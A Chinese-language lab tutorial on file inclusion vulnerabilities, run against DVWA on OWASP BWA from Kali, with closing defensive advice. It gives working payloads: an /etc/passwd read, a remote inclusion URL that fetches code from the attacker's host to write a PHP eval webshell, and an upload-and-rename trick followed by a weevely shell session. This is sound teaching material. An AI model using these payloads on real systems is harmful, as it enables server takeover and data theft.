前言
文件包含漏洞(Malicious file execution vulnerabilities)近几年并不突出,但曾在2007年 OWASP TOP 10中排名第三,仅次于XSS和注入漏洞。
Malicious file execution vulnerabilities are found in many applications. Developers will often directly use or concatenate potentially hostile input with file or stream functions, or improperly trust input files. On many platforms, frameworks allow the use of external object references, such as URLs or file system references. When the data is insufficiently checked, this can lead to arbitrary remote and hostile content being included, processed or invoked by the web server.
Reference:https://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf
一、介绍
形成原因
说到文件包含漏洞,有必要提一下,模块化程序设计思想。
为了使程序设计更加简单高效,程序设计人员往往会把程序中经常用到的计算或操作,编写成通用函数,保存在特定文件,以供随时调用。
模块化程序设计本身提高了程序开发的效率,减轻了程序设计人员的负担。
但有时程序设计人员为了让代码更加灵活,会把需要包含的文件设置成变量。而这种灵活,有时会被攻击者利用,从浏览器发出命令,让程序包含一个恶意文件,从而导致web服务器被控制,这就是文件包含漏洞。
其中PHP语言最易受到此类攻击。只要文件内容符合php语法规范,任何文件扩展名都会被PHP解析。而包含内容不符合PHP语法规范时,会将文件内容返回。
二、简单实践
实验环境
OWASP BWA、kali
读取敏感文件
示例
https://192.168.75.130/dvwa/vulnerabilities/fi/?page=/etc/passwd
结果
远程包含
远程文件包含需要web server开启远程包含功能
allow_url_include = on
攻击机开启appach
创建upload.txt,包含如下内容
<?fputs(fopen("test.php", "w"), "<?php eval($_POST[test];?>")?>
访问
https://192.168.75.130/dvwa/vulnerabilities/fi/?page=http://192.168.75.129/upload.txt
192.168.75.129是攻击机的IP
访问后,将会在/dvwa/vulnerabilities/fi/ 下生成test.php。内容如下
<?php eval($_POST[test];?>
本地文件包含加文件上传
将木马文件重命名
kali@kali:~/Documents/weevely$ mv upload.php upload.jpg
kali@kali:~/Documents/weevely$ ls
upload.jpg
kali@kali:~/Documents/weevely$ vi rename.jpg
kali@kali:~/Documents/weevely$ ls
rename.jpg upload.jpg
rename.jpg内容
kali@kali:~/Documents/weevely$ cat rename.jpg
<?php rename("../../hackable/uploads/upload.jpg","../../hackable/uploads/upload.php"); ?>
上传upload.jpg和rename.jpg
文件包含
https://192.168.75.130/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/rename.jpg
木马连接
kali@kali:~/Documents/weevely$ weevely http://192.168.75.130/dvwa/hackable/uploads/upload.php test
[+] weevely 4.0.1
[+] Target: www-data@owaspbwa:/owaspbwa/dvwa-git/hackable/uploads
[+] Session: /home/kali/.weevely/sessions/192.168.75.130/upload_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> uname -a
Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 i686 GNU/Linux
www-data@owaspbwa:/owaspbwa/dvwa-git/hackable/uploads $
实际上,查看owasp web server,可了解整个过程文件的前后变换
//文件未上传
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
upload.jpg
//文件已上传
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
rename.jpg upload.jpg
//文件包含后
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
rename.jpg upload.jpg
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
rename.jpg upload.php
三、防御方法
- 使用白名单规则,对用户的输入严格检查(事实上,单独的白名单规则并不能确保安全,攻击者可通过截断攻击,web容器解析漏洞等绕过检查)
- 使用沙盒隔离web应用。
- 不要使用动态包含,将要包含的模块固定写好。
- 对于PHP而言关闭php.ini中的allow_url_fopen and allow_url_include 。
四、参考资料
《白帽子讲Web安全》
https://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf